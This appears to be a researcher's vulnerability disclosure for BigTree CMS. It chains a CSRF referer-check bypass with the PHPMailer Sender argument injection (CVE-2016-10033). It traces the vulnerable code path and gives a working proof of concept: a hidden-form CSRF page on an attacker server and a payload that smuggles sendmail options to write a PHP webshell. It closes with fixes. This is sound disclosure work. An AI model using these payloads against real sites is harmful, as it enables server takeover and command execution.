## DESCRIPTION
### PHPMailer RCE (CVE-2016-10033)
An independent research uncovered a critical vulnerability in PHPMailer _(version < 5.2.20)_ that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.
* [PHPMailer < 5.2.20 Remote Code Execution](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)
PHPMailer uses the `Sender` variable to build the params string. Then `PHPMailer::send()` would call PHP native function `mail()` to execute `/usr/bin/sendmail` with the arguments in `$this->Sender`
According to my [analysis](https://www.cdxy.me/?p=754), if we can control the value of `Sender`, we can let `sendmail` save the context _(<?php phpinfo()?>)_ to any given path _(/var/www/html/shell.php)_, which means code execution.
### PHPMailer in BigTree CMS
BigTree CMS include PHPMailer in `/core/inc/bigtree/utils.php`
```
static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
$mailer = new PHPMailer;
foreach ($headers as $key => $val) {
$mailer->addCustomHeader($key,$val);
}
$mailer->Subject = $subject;
if ($html) {
$mailer->isHTML(true);
$mailer->Body = $html;
$mailer->AltBody = $text;
} else {
$mailer->Body = $text;
}
if (!$from) {
$from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$from_name = "BigTree CMS";
} else {
// Parse out from and reply-to names
$from_name = false;
$from = trim($from);
if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
$from_pieces = explode("<",$from);
$from_name = trim($from_pieces[0]);
$from = substr($from_pieces[1],0,-1);
}
}
$mailer->From = $from;
$mailer->FromName = $from_name;
$mailer->Sender = $from;
```
The right way to set the value of `Sender` is using secure method `$mailer->setForm()`,but here the function passes `$from` to `$mailer->Sender` directly without any validation.
Go finding the call to function `sendEmail()`.
`/core/inc/bigtree/apis/email-service.php`
```
function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
...
if ($this->Service == "local") {
return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);
}
...
}
```
Finding call to this function.
`/core/inc/bigtree/admin.php` line 2526
```
static function forgotPassword($email) {
...
$es = new BigTreeEmailService;
// Only use a custom email service if a from email has been set
if ($es->Settings["bigtree_from"]) {
$reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);
}
...
}
```
Finding how to manage the value of `$es->Settings["bigtree_from"]`
`/core/admin/modules/developer/email/update.php` line 16
```
...
$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];
$admin->updateSettingValue("bigtree-internal-email-service",$settings);
...
```
Now the transfer route is clear:
`$_POST["bigtree_from"];` -> `$settings["settings"]["bigtree_from"]` -> `$es->Settings["bigtree_from"]` -> `$from_email` -> `$from` -> `$mailer->Sender`
The entry `$_POST["bigtree_from"];` is generated by "Developer / Email Delivery" form.

But unfortunately it requires admin privilege, So I have to see if CSRF works.
### CSRF Filter Bypass
Then I found its CSRF filter at
`/core/admin/modules/developer/_header.php` line 3
```
if (count($_POST)) {
$clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
$clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";
// The referer MUST contain a URL from within the developer section to post to it.
if (strpos($clean_referer,$clean_admin_root) === false) {
die();
}
}
```
It can be simply bypassed with:
```
https://attacker_host/?url=http://target_host/admin/developer/
```
## PROOF OF CONCEPT EXPLOIT
Specific process is divided into the following four steps:
1. Upload csrf.html to his public server, then send a CSRF probe to admin.
2. Admin triggers CSRF, sending a POST request to updates mail settings.
3. Request a mail from CMS, hence the PHPMailer will create a webshell.
4. Execute commands with webshell.
#### Step1
CSRF probe
```
http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/
```
csrf.html
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
<input type="hidden" name="service" value="local" />
<input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
payloads in csrf.html
```
?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx
```
(`<>` was filtered in backend, so I use `/*` to comment the following text)
#### Step2

#### Step3
Trigger PHPMailer at "forgot-password" form (unauthorized).

Then `/var/www/html/final.php` will be created with PHP codes inside.

#### Step4
Execute system commands with webshell.

## SOLUTION
1. Update PHPMailer to latest version.
2. Use secure method "setFrom()" to set the value of "Sender".
3. Strengthen CSRF protection.
暂无评论